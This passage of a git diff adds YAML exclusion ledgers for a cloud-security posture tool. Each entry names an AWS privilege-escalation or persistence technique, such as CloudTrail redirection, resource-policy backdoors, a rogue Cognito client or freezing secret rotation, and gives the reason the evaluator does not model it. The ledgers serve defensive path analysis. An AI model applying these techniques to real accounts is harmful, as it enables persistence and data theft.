src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsynccreatedatasource-iampassrole--drive-an-arbitrary-role-through-a-graphql-field + source_revision: 171e422299 + technique: Attach a passed role to an IAM-signed HTTP data source and call it through a resolver + reason: Create/UpdateDataSource and resolver changes do not prove the source can call a field + under the API authorization mode; callable API/field control is only prose. + prior_id: aws-appsync-passrole-datasource-sigv4 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamaddclientidtoopenidconnectprovider--widen-an-existing-federation-trust + source_revision: 171e422299 + technique: Register an attacker-chosen audience on an OIDC provider that roles trust + reason: Adding an audience does not prove the source holds an issuer-signed token whose exact + claims satisfy the target role trust. + prior_id: aws-iam-oidcprovider-add-client-id +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + technique: Register an OIDC provider that a role trusts but that no longer exists + reason: Creating an OIDC provider at an orphaned ARN does not prove source possession of a signed + token with claims satisfying the exact target role trust. + prior_id: aws-iam-createoidcprovider-orphaned-trust +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#account-factory--provision-an-account-you-control + source_revision: 171e422299 + technique: Update an Account Factory provisioned account to grant AWSAdministratorAccess to + a controlled Identity Center user + reason: Product update does not prove the chosen SSO user or mailbox is source-controlled, nor + which member-account admin is gained; both joins are prose conditions. + prior_id: aws-controltower-accountfactory-update-sso-user +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#sso-directoryupdatepassword + source_revision: 171e422299 + technique: Reset the password of an Identity Center user + reason: UpdatePassword may reset another Identity Center user, but the target entity is account-wide + and does not bind an exact user, usable sign-in, MFA state, or gained assignment. + prior_id: aws-sso-directory-updatepassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreateuser--sso-directorycreateuser--group-membership--assignment + source_revision: 6fb9ac51fd + technique: Create an Identity Center user and add it to a privileged group + reason: CreateUser and CreateGroupMembership do not prove the source receives usable sign-in + credentials for the new Identity Center user or that the named group maps to the target permission + set. + prior_id: aws-identitystore-createuser-groupmembership +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreateuser--sso-directorycreateuser--group-membership--assignment + source_revision: 6fb9ac51fd + technique: Create an Identity Center user and assign it a permission set + reason: CreateUser and CreateAccountAssignment do not prove source control of a usable new-user + credential or exact permission-set assignment scope. + prior_id: aws-identitystore-createuser-createaccountassignment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplate--change-ad-certificate-enrollment-rules + source_revision: 171e422299 + technique: Publish a malicious certificate template through PCA Connector for AD and enroll + as a domain admin + reason: Template creation does not prove the source controls an enrollable AD identity or that + certificate mapping authenticates as the exact directory admin. + prior_id: aws-pca-connector-ad-createtemplate-esc1 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adupdatetemplate--change-an-existing-certificate-template + source_revision: 171e422299 + technique: Weaken an existing PCA Connector for AD certificate template in place + reason: Template update does not prove the source controls an enrollable AD identity or that + certificate mapping authenticates as the exact directory admin. + prior_id: aws-pca-connector-ad-updatetemplate +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumeroot--privileged-root-sessions-into-any-member-account + source_revision: 171e422299 + technique: Obtain a privileged root-user session in a member account with sts:AssumeRoot + reason: AssumeRoot returns a short task-policy-scoped root session, not full account-admin authority; + task policy and management/delegated-admin source scope are not modeled as bounded grants. + prior_id: aws-sts-assumeroot-member-accounts +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#dsresetuserpassword + source_revision: 171e422299 + technique: Reset the password of a directory user with Management Console access + reason: ResetUserPassword on a directory does not prove the selected user is assigned the modeled + AWS role or that console sign-in with the new password is usable. + prior_id: aws-ds-resetuserpassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#dsresetuserpassword + source_revision: 6fb9ac51fd + technique: Reset the password of the built-in directory administrator + reason: The directory-admin target is an account-level entity, not an exact resettable user; + no evidence joins a specific user, credential usability, and admin rights. + prior_id: aws-ds-resetuserpassword-directory-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#codeconnectionscreatesyncconfiguration--codeconnectionsupdatesyncconfiguration--codeconnectionspassrepository--iampassrole + source_revision: 171e422299 + technique: Point a CloudFormation Git sync configuration at a controlled branch with a passed + sync role + reason: Git sync configuration plus PassRole does not prove the source can write the monitored + repository branch/deployment file; external Git control is only prose. + prior_id: aws-codeconnections-gitsync-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#redirect-a-repository-link + source_revision: b587e6bd26 + technique: Redirect a repository link consumed by CloudFormation Git sync to a controlled connection + reason: Repository link update does not join an existing sync configuration to the target role + or prove control of the replacement Git installation and branch. + prior_id: aws-codeconnections-updaterepositorylink-gitsync-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-supply-chain-privesc/README.md#scnassignadminpermissionstouser + source_revision: 171e422299 + technique: Assign Supply Chain application administrator to a controlled Identity Center user + reason: AssignAdminPermissionsToUser names an Identity Center user, but source control and sign-in + for that exact user are only prose conditions. + prior_id: aws-supplychain-assignadmin diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..072655b491 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml @@ -0,0 +1,15 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/unproven-ssm-dlm-target-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dlm-privesc/README.md#dlmcreatelifecyclepolicy-iampassrole--scheduled-commands-through-dlm-prepost-scripts + source_revision: 171e422299 + technique: Schedule SSM command documents on tagged instances through DLM pre/post scripts + reason: "The source can create or update a DLM policy, but the passed DLM role\u2019s SendCommand\ + \ authority, target tags, and matched managed instance are only prose conditions. The evaluator\ + \ cannot prove a specific EC2 profile role is reached." + prior_id: aws-dlm-passrole-lifecyclepolicy-scripts +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmresumesession + source_revision: 171e422299 + technique: Resume another user's disconnected Session Manager session + reason: The evaluator does not collect resumable session ID to EC2 instance to instance-profile + role. ssm:ResumeSession on * alone cannot establish that any specific inventoried node role is + reached. + prior_id: aws-ssm-resumesession diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml new file mode 100644 index 0000000000..f62ce532a2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml @@ -0,0 +1,3013 @@ +# Independent AWS heading coverage review at source revision a66f094ede. +# Each source anchor was screened against the full section and the existing catalog. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-account-management-persistence/README.md#accountputalternatecontact--hijack-the-securityoperationsbilling-contact-to-intercept-aws-notifications + technique: '`account:PutAlternateContact` — hijack the SECURITY/OPERATIONS/BILLING contact to intercept AWS notifications' + reason: 'Documented impact: Interception of AWS security/abuse/compromise notifications and operational alerts + (the owner is blinded to AWS reaching out about the very compromise), plus a foothold for social-engineering + AWS Support — a stealthy,... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-agent-registry-persistence/README.md#agent-registryupdateregistry--persist-automatic-approval-of-malicious-records + technique: '`agent-registry:UpdateRegistry` — persist automatic approval of malicious records' + reason: Persistence/configuration of `agent-registry:UpdateRegistry` — persist automatic approval of malicious + records; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-agent-registry-persistence/README.md#agent-registryupdateregistry--trust-an-attacker-controlled-jwt-client + technique: '`agent-registry:UpdateRegistry` — trust an attacker-controlled JWT client' + reason: Persistence/configuration of `agent-registry:UpdateRegistry` — trust an attacker-controlled JWT client; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-amplify-persistence/README.md#amplifycreatewebhook--persist-a-credential-less-build-trigger + technique: '`amplify:CreateWebHook` — Persist a credential-less build trigger' + reason: Persistence/configuration of `amplify:CreateWebHook` — Persist a credential-less build trigger; the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appconfig-persistence/README.md#appconfigcreateextension--appconfigcreateextensionassociation--iampassrole + technique: '`appconfig:CreateExtension` + `appconfig:CreateExtensionAssociation` + `iam:PassRole`' + reason: 'Documented impact: Persistent exfiltration of future configuration contents to attacker-controlled Lambda + code, modification of content before it is stored/deployed, or denial of configuration workflows. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamenableuser--restore-a-disabled-foothold-with-its-assignments-intact + technique: '`appstream:EnableUser` — restore a disabled foothold with its assignments intact' + reason: Persistence/configuration of `appstream:EnableUser` — restore a disabled foothold with its assignments + intact; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamupdatefleet--s3--recurring-system-session-scripts-on-an-existing-elastic-fleet + technique: '`appstream:UpdateFleet` + S3 — recurring SYSTEM session scripts on an existing Elastic fleet' + reason: This session-script variant is not represented by an active role route. It needs an exact Elastic fleet, writable S3 script object, fleet role and later session trigger before execution under that role can be inferred. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-athena-result-redirection-persistence/README.md#athenaupdateworkgroup--redirect-future-query-results-to-attacker-readable-s3 + technique: '`athena:UpdateWorkGroup` — Redirect future query results to attacker-readable S3' + reason: Persistence/configuration of `athena:UpdateWorkGroup` — Redirect future query results to attacker-readable + S3; the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudtrail-persistence/README.md#blind-trail-weakening-with-cloudtrailupdatetrail + technique: Blind trail weakening with `cloudtrail:UpdateTrail` + reason: Persistence/configuration of Blind trail weakening with `cloudtrail:UpdateTrail`; the section does not + identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudtrail-trail-redirection-persistence/README.md#cloudtrailupdatetrail--redirect-future-audit-logs-to-attacker-readable-s3 + technique: '`cloudtrail:UpdateTrail` — Redirect future audit logs to attacker-readable S3' + reason: Persistence/configuration of `cloudtrail:UpdateTrail` — Redirect future audit logs to attacker-readable + S3; the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#observabilityadmincreates3tableintegration--logsassociatesourcetos3tableintegration--iampassrole--copy-future-logs-into-s3-tables + technique: '`observabilityadmin:CreateS3TableIntegration` + `logs:AssociateSourceToS3TableIntegration` + `iam:PassRole` + — copy future logs into S3 Tables' + reason: 'Documented impact: Conditional disclosure of all future log events covered by the source association + and the passed role, including credentials, tokens, request bodies, PII, and audit events. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logsputaccountpolicy--account-wide-subscription-filter-over-every-log-group + technique: '`logs:PutAccountPolicy` — account-wide subscription filter over *every* log group' + reason: 'Documented impact: Streams future events from all (or a broad selection of) log groups in the account/region + to an attacker-authorized destination in one call — account-wide log exfiltration, or account-wide log-content + degradation via a... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logscreatescheduledquery--iampassrole--recurring-log-exfiltration-to-s3 + technique: '`logs:CreateScheduledQuery` + `iam:PassRole` — recurring log exfiltration to S3' + reason: Persistence/configuration of `logs:CreateScheduledQuery` + `iam:PassRole` — recurring log exfiltration + to S3; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logsputsubscriptionfilter--forward-private-logs-through-a-preauthorized-destination + technique: '`logs:PutSubscriptionFilter` — forward private logs through a preauthorized destination' + reason: Persistence/configuration of `logs:PutSubscriptionFilter` — forward private logs through a preauthorized + destination; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-omni-persistence/README.md#cloudwatchcreatealert--persist-an-autonomous-telemetry-query-through-an-existing-profile + technique: '`cloudwatch:CreateAlert` — persist an autonomous telemetry query through an existing profile' + reason: 'Documented impact: repeatedly evaluate telemetry through an existing asynchronous identity, maintain + attacker-selected alert state, generate false operational signals, suppress or redirect legitimate notifications, + and conditionally send alert... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-codeartifact-persistence/README.md#codeartifactputrepositorypermissionspolicy--cross-account-repository-backdoor + technique: '`codeartifact:PutRepositoryPermissionsPolicy` — cross-account repository backdoor' + reason: 'Documented impact: Persistent cross-account theft of private package assets and/or publication of malicious + package versions, bounded by the external principal''s identity-policy allow and the domain-token policy when + package-manager... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-codeguru-profiler-persistence/README.md#codeguru-profilerputpermission--persist-agent-access-on-a-profiling-group + technique: '`codeguru-profiler:PutPermission` — persist agent access on a profiling group' + reason: Persistence/configuration of `codeguru-profiler:PutPermission` — persist agent access on a profiling group; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md#cognito-idpcreateuserpoolclient--a-rogue-app-client-with-a-decade-long-refresh-token + technique: '`cognito-idp:CreateUserPoolClient` — a rogue app client with a decade-long refresh token' + reason: Persistence/configuration of `cognito-idp:CreateUserPoolClient` — a rogue app client with a decade-long + refresh token; the section does not identify a new AWS principal whose privileges the caller gains from this + action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md#cognito-idpsetriskconfiguration + technique: '`cognito-idp:SetRiskConfiguration`' + reason: Persistence/configuration of `cognito-idp:SetRiskConfiguration`; the section does not identify a new AWS + principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-data-firehose-persistence/README.md#firehoseupdatedestination--persistently-redirect-future-records + technique: '`firehose:UpdateDestination` — persistently redirect future records' + reason: 'Documented impact: continuing exfiltration of future stream records, disclosure of a retained HTTP endpoint + token, or durable diversion/loss of telemetry. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-datasync-persistence/README.md#datasyncupdatetask--schedule-recurring-delegated-transfers + technique: '`datasync:UpdateTask` — schedule recurring delegated transfers' + reason: 'Documented impact: Recurring exfiltration of newly created data to an already accessible destination, + or repeated integrity/availability effects when the stored task overwrites or removes destination content. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md#ecs-persistence-via-task-scale-in-protection-updatetaskprotection + technique: ECS Persistence via Task Scale-In Protection (UpdateTaskProtection) + reason: 'Documented impact: A specific attacker-controlled task that autoscaling and rolling deployments cannot + evict — the backdoor container outlives the scale-in events and deployment replacements that would otherwise + sweep it away. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elemental-inference-persistence/README.md#elemental-inferenceputfeedpolicy--cross-account-metadata-reader + technique: '`elemental-inference:PutFeedPolicy` — cross-account metadata reader' + reason: Persistence/configuration of `elemental-inference:PutFeedPolicy` — cross-account metadata reader; the + section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-eventbridge-persistence/README.md#bus-resource-policy-backdoor-eventsputpermission + technique: Bus resource-policy backdoor (`events:PutPermission`) + reason: 'Documented impact: Persistent cross-account ability to drive the victim''s existing rules and targets, + without any principal inside the victim account. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-eventbridge-persistence/README.md#enhanced-bus-cross-account-backdoor-eventsputresourcepolicy + technique: Enhanced-bus cross-account backdoor (`events:PutResourcePolicy`) + reason: 'Documented impact: Persistent cross-account injection into downstream automation, or retrospective and + continuing exfiltration of retained bus events through a foreign-owned subscriber and target, depending on the + delegated actions and the... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md#iamupdaterole--raise-a-roles-maxsessionduration + technique: '`iam:UpdateRole` — raise a role''s `MaxSessionDuration`' + reason: 'Documented impact: Twelve-hour credentials for the target role on every future assumption, reducing the + attacker''s footprint in the logs and widening the window in which a revoked upstream credential still yields + live access. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md#lambdaputfunctionrecursionconfig--disable-awss-recursive-loop-kill-switch + technique: '`lambda:PutFunctionRecursionConfig` — disable AWS''s recursive-loop kill switch' + reason: 'Documented impact: Converts a self-invoking Lambda from something AWS automatically kills within seconds + into durable, self-sustaining execution with no external trigger to discover or delete. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md#lambdaputfunctioneventinvokeconfig--updatefunctioneventinvokeconfig--redirect-async-records-or-trigger-a-fixed-consumer + technique: '`lambda:PutFunctionEventInvokeConfig` / `UpdateFunctionEventInvokeConfig` — redirect async records + or trigger a fixed consumer' + reason: 'Documented impact: Exfiltration of future asynchronous request and response payloads, plus redirection + or suppression of operational failure/success records. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-location-service-persistence/README.md#geocreatekey--mint-a-durable-public-location-bearer-key + technique: '`geo:CreateKey` — mint a durable public Location bearer key' + reason: 'Documented impact: Persistence at the Location service level: a no-expiry, unauthenticated credential + retaining the creator''s selected Maps, Places, or Routes read permissions and the ability to consume the account''s + paid quota. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-marketplace-persistence/README.md#aws-marketplacesubscribe--durable-paid-agreement--renewal + technique: '`aws-marketplace:Subscribe` — durable paid agreement / renewal' + reason: Persistence/configuration of `aws-marketplace:Subscribe` — durable paid agreement / renewal; the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-medialive-output-persistence/README.md#redirect-the-output--medialiveupdatechannel + technique: Redirect the output — `medialive:UpdateChannel` + reason: Persistence/configuration of Redirect the output — `medialive:UpdateChannel`; the section does not identify + a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#grant-external-ingest--mediapackagev2putchannelpolicy + technique: Grant external ingest — `mediapackagev2:PutChannelPolicy` + reason: Persistence/configuration of Grant external ingest — `mediapackagev2:PutChannelPolicy`; the section does + not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#publish-a-private-origin-endpoint--mediapackagev2putoriginendpointpolicy + technique: Publish a private origin endpoint — `mediapackagev2:PutOriginEndpointPolicy` + reason: Persistence/configuration of Publish a private origin endpoint — `mediapackagev2:PutOriginEndpointPolicy`; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-msk-policy-persistence/README.md#cross-account-cluster-access-with-kafkaputclusterpolicy + technique: Cross-account cluster access with `kafka:PutClusterPolicy` + reason: 'Documented impact: Grants an external account cross-account connectivity and Kafka actions on the named + cluster, topics, and groups, subject to broker authentication and network prerequisites. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-q-in-connect-persistence/README.md#wisdomupdateassistantaiagent--persist-a-custom-ai-agent-as-the-assistant-default + technique: '`wisdom:UpdateAssistantAIAgent` — persist a custom AI agent as the assistant default' + reason: 'Documented impact: persistently alter customer-facing answers, agent recommendations, summaries, knowledge + selection, guardrail use, or orchestration decisions for future sessions. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ram-persistence/README.md#ramcreateresourceshare--ramassociateresourceshare--share-internal-resources-with-an-attacker-account + technique: '`ram:CreateResourceShare` (+ `ram:AssociateResourceShare`) — share internal resources with an attacker + account' + reason: 'Documented impact: Durable cross-account access to internal resources — most dangerously a network foothold + inside the victim''s VPC via a shared subnet or Transit Gateway — that persists independently of the attacker''s + IAM credentials. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md#make-instance-publicly-accessible-rdsmodifydbinstance + technique: 'Make instance publicly accessible: `rds:ModifyDBInstance`' + reason: 'Persistence/configuration of Make instance publicly accessible: `rds:ModifyDBInstance`; the section does + not identify a new AWS principal whose privileges the caller gains from this action alone.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshiftmodifycluster---reset-the-provisioned-cluster-master-password + technique: '`redshift:ModifyCluster` - reset the provisioned-cluster master password' + reason: 'Documented impact: Service-level persistence as the provisioned database master user. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshift-serverlessupdateworkgroup---open-a-network-path-to-a-planted-credential + technique: '`redshift-serverless:UpdateWorkgroup` - open a network path to a planted credential' + reason: 'Documented impact: Converts otherwise unusable SQL persistence into a reachable foothold and can expose + the database to broader networks. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshiftauthorizeendpointaccess---retain-a-cross-account-private-route + technique: '`redshift:AuthorizeEndpointAccess` - retain a cross-account private route' + reason: 'Documented impact: Durable service-level persistence enablement: an external account can maintain private + reachability to the database even after the original attack path disappears. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-route53-arc-readiness-persistence/README.md#route53-recovery-readinesscreatecrossaccountauthorization--durable-external-readiness-monitoring + technique: '`route53-recovery-readiness:CreateCrossAccountAuthorization` — durable external readiness monitoring' + reason: 'Documented impact: Durable cross-account reconnaissance of application topology, resource existence, + failover readiness, configuration equivalence, capacity, runtime state, quotas, and routing properties. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-s3-files-persistence/README.md#s3filesputfilesystempolicy--cross-account-access-to-the-file-system-and-its-bucket-data + technique: '`s3files:PutFileSystemPolicy` — cross-account access to the file system (and its bucket data)' + reason: 'Documented impact: Cross-account / public exposure of a file system and the S3 data behind it by rewriting + its resource policy; or removal of a restrictive policy as defense evasion. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md#s3-access-point-backdoor--s3createaccesspoint-s3putaccesspointpolicy + technique: S3 Access Point backdoor — `s3:CreateAccessPoint`, `s3:PutAccessPointPolicy` + reason: 'Documented impact: Durable, low-visibility access to the bucket''s objects that survives review of the + bucket policy and IAM policies, and can be granted to an external account so it outlives cleanup of the attacker''s + principals inside the victim... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#canvas-cross-account-model-registry-backdoor-updateuserprofilemodelregistersettings + technique: Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + reason: Persistence/configuration of Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings); + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#model-registry-resource-policy-putmodelpackagegrouppolicy + technique: Model Registry resource policy (PutModelPackageGroupPolicy) + reason: Persistence/configuration of Model Registry resource policy (PutModelPackageGroupPolicy); the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#blind-organization-wide-share-with-sagemakerputmodelpackagegrouppolicy-alone + technique: Blind organization-wide share with `sagemaker:PutModelPackageGroupPolicy` alone + reason: Persistence/configuration of Blind organization-wide share with `sagemaker:PutModelPackageGroupPolicy` + alone; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md#secretsmanagerrotatesecret--invoke-the-existing-rotation-lambda + technique: '`secretsmanager:RotateSecret` — invoke the existing rotation Lambda' + reason: Persistence/configuration of `secretsmanager:RotateSecret` — invoke the existing rotation Lambda; the + section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md#secretsmanagercancelrotatesecret--freeze-a-stolen-secret-by-turning-off-rotation + technique: '`secretsmanager:CancelRotateSecret` — freeze a stolen secret by turning off rotation' + reason: 'Documented impact: Persistence — a previously-stolen secret is never rotated away, so the compromised + credential keeps working long after the intrusion, with no further action from the attacker. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-agent-persistence/README.md#securityagentcreatemembership--retain-agent-space-web-application-access + technique: '`securityagent:CreateMembership` — retain Agent Space web-application access' + reason: 'Documented impact: Service-level persistence into the assigned Agent Space. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-incident-response-persistence/README.md#security-irupdatemembership--persist-as-an-incident-response-teammate + technique: '`security-ir:UpdateMembership` — persist as an incident-response teammate' + reason: Persistence/configuration of `security-ir:UpdateMembership` — persist as an incident-response teammate; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-incident-response-persistence/README.md#security-irupdatecase--add-a-case-watcher + technique: '`security-ir:UpdateCase` — add a case watcher' + reason: Persistence/configuration of `security-ir:UpdateCase` — add a case watcher; the section does not identify + a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md#ssmcreateactivation-iampassrole--a-long-lived-hybrid-activation-as-a-re-entry-credential + technique: '`ssm:CreateActivation`, `iam:PassRole` — a long-lived hybrid activation as a re-entry credential' + reason: The same CreateActivation plus PassRole route and target role are modeled by aws-ssm-passrole-createactivation; + this section explains the persistence benefit of reusing the activation. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md#using-ssmcreateassociation-for-persistence + technique: Using ssm:CreateAssociation for persistence + reason: 'Documented impact: A scheduled backdoor that re-executes on every targeted managed node indefinitely, + surviving reboots, reimaging of the payload on disk, and termination of the attacker''s own sessions. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-support-authorization-persistence/README.md#supportauthzcreatesupportpermit--leave-a-no-expiry-regional-support-authorization + technique: '`supportauthz:CreateSupportPermit` — leave a no-expiry regional Support authorization' + reason: 'Documented impact: Preserves a latent AWS Support access grant after the original IAM session is revoked. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: 